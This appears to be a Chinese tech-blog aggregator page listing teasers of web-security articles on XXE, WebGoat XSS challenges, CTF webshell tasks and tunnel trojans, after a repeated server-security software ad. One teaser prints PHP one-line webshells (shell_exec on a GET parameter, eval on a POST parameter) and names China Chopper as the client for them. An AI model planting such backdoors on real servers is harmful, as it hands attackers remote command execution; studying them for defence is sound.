杀马特服务器安全软件专业维护服务器安全。 专注于服务器安全，让服务器安全变的简单，让站长更好的管理服务器。 基础功能： 服务器系统用户、文件监控、恶意文件删除，网站防注入篡改。 增强功能： 杀马特网站实时监控、记录组件；文件防提权；杀马特管理员锁定组件，***监控报表；杀马特实时查杀用户指定的后缀文件等。 功能特性： 1.兼容性 软件支持全系列的Windows服务器操作系统（Wi
杀马特服务器安全软件专业维护服务器安全。专注于服务器安全，让服务器安全变的简单，让站长更好的管理服务器。基础功能：服务器系统用户、文件监控、恶意文件删除，网站防注入篡改。增强功能：杀马特网站实时监控、记录组件；文件防提权；杀马特管理员锁定组件，***监控报表；杀马特实时查杀用户指定的后缀文件等。功能特性：1.兼容性软件支持全系列的Windows服务器操作系统（Windows2003/Windows2
前言 对于xxe漏洞的认识一直都不是很清楚，而在我为期不长的挖洞生涯中也没有遇到过，所以就想着总结一下，撰写此文以作为记录，加深自己对xxe漏洞的认识。 xml基础知识 要了解xxe漏洞，那么一定得先明白基础知识，了解xml文档的基础组成。 XML用于标记电子文件使其具有结构性的标记语言，可以用来标 ...
分类：
其他好文 时间：
2019-02-18 01:26:09
阅读次数：
188
概述 这是 WebGoat 的最后一部分，主要内容是 WebGoat中的Challenge，前面还有 1 和 2。 Challenge Admin lost password 本题目的服务端源代码。 @AssignmentPath("/challenge/1") public class Assig ...
分类：
Web程序 时间：
2019-02-18 01:14:45
阅读次数：
419
概述 由于上一篇文章 Web安全攻防靶场之WebGoat - 1 过长，这里分开写后面内容 使用 Cross-Site Scripting (XSS) 跨站脚本攻击，跨站脚本分为三类 1. Reflected XSS Injection 反射型xss 通过一个链接产生的xss叫做反射型xss，所有恶 ...
分类：
Web程序 时间：
2019-02-17 23:48:45
阅读次数：
329
题目链接：http://123.206.87.240:8002/webshell/ 题解： 进入题目，炫酷的界面 标题是网站被黑，用御剑扫描一下他的后台，看能不能扫到webshell，也就是一个后门。 御剑软件下载地址：https://pan.baidu.com/s/1YUDI2d8aOsqL80X ...
分类：
Web程序 时间：
2019-02-09 22:55:22
阅读次数：
467
在看问题的时候，我们先从本质上感受一下它的趣味性：能问出这些问题的人，说明他们知识面不深，从各种媒体，传媒渠道认识到黑客，充满憧憬想掌握它为了理想和梦想一边成家立业，一边发家致富。而更多的属于吃瓜，问题动机可能是他就职于其他职业，对网络安全本身感兴趣而提出的问题。对于吃瓜性的问题，我手里有资源就顺手 ...
分类：
其他好文 时间：
2019-02-09 20:55:16
阅读次数：
201
分析压缩包中的数据包文件并获取flag。flag为32位大写md5。 神仙们还是强啊，webshell主要看http流，再过滤只剩下post请求 可以使用 http.request.method == POST 然后挨个看，发现一个带着flag字样的，只提交了很少的信息，猜测是base64加密，解码 ...
分类：
编程语言 时间：
2019-02-04 01:05:04
阅读次数：
287
前言 今天开始讲讲木马攻防，感觉这些内容大家应该会更感兴趣一些，就从隧道木马说起。为什么会有隧道木马这一说呢？这是根据通信协议进行分类的。讲隧道木马之前，先讲讲端口映射和转发。端口映射和端口转发其实是一回事，原理是一样的，由于应用场景不同，才产生了不同的含义。 场景1 端口映射 端口映射的使用，以下 ...
分类：
其他好文 时间：
2019-02-03 17:54:35
阅读次数：
150
php经典一句话: <?php echo shell_exec($_GET['cmd']);?> 中国菜刀：官网：www.maicaidao.co原理：上传一句话(<?php @eval($_POST['我是密码']);?>)至服务器端，再用中国菜刀客户端(图形化界面)去连接服务器 webacoo( ...
分类：
Web程序 时间：
2019-02-02 15:47:49
阅读次数：
174
